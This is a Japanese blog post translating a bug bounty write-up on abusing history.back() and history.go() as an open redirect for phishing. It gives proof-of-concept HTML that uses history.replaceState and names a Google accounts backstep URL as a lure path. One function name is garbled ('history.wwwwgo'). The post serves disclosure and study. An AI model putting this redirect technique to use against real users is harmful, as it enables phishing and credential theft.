Shikata Ga Nai

Private? There is no such things.

Phishing with history.back() open redirectを訳してみた

Hello there, ('ω')ノ

 

オープン リダイレクトを使用したフィッシングを。

 

脆弱性:

 オープンリダイレクト

 

記事:

 https://medium.com/@0xHyde/exploiting-history-back-3ec789c124dd

 

プライベートのバグ報奨金プログラムに参加しているときに、

リクエストに関する詳細とユーザを 1 ページ戻すハイパーリンクを含む

WAF エラー ページに遭遇し。

JavaScript をいくつかいじってみたところ、履歴によって制御される

戻るボタンを使用する Web アプリケーションで、

history.back() 関数またはhistory.go(-int) 関数を使用するすべてのボタンの

オープン リダイレクトとしてこのテクニックを使用することができて。

.back() またはhistory.go(-1) 関数。

ペイロードが送り返されるページであると仮定して。

 

Payload (index.html):

<html>
    <head>
        <title>Continue</title>
    </head>
    <body>
        <a onclick=exploit() href="example_of_vuln.html">Continue...</a>
        <script>
            function exploit(){
                history.replaceState({page: 1}, "Exploit", "index.htm");
            }
        </script>
    </body>
</html>

 

脆弱なページの例 (example_of_vuln.html):

 

<script>alert('Going Back!');history.back()</script>

 

悪用後 (index.htm):

<html>
    <head>
        <title>Exploited</title>
    </head>
    <body>
        <h1>Your browser history was manipulated to send you to a page you never even visited!</h1>
    </body>
</html>

 

これが現実の脅威のシナリオにあまり当てはまらないとは思わず。

google.com には以下のページがあり、

ユーザは JavaScript 関数history.wwwwgo(-n) を使用して履歴を何回遡るかを

決定できて。

「n」はbackstepのGET パラメータで指定された整数で。

 

https://accounts.google.com/_/back?backstep=1

 

ラボ環境では、このバグをフィッシング経路として使用することができ。

次の URL をハイパーリンクとして含む Google サイト ブログに直接リンクする

ペイロードからターゲットを誘導できることがわかり。

 

https://accounts.google.com/_/back?backstep=2

 

そして最後に「Malicious Page」へ。

フローをよりわかりやすく示すには、次のようにして。

ペイロード ⇨ Google サイト ブログ ⇨ URL をクリック:

 

https://accounts.google.com/_/back?backstep=2 ⇨ デモ フィッシング ページ

 

Google のバグ報奨金プログラムを通じてこの件について Google に

レポートを提出しましたが、うまくいかず。

しかし、潜在的な攻撃シナリオを調査して開発するのはそれでも楽しく。

 

初期ペイロード:

 

脆弱なページ:

 

エクスプロイトが成功すると、最初の画像は /index.html であり、

ページは一度もアクセスしたことのないページ (index.htm) に

送り返されることに注意して。

 

 

Best regards, (^^ゞ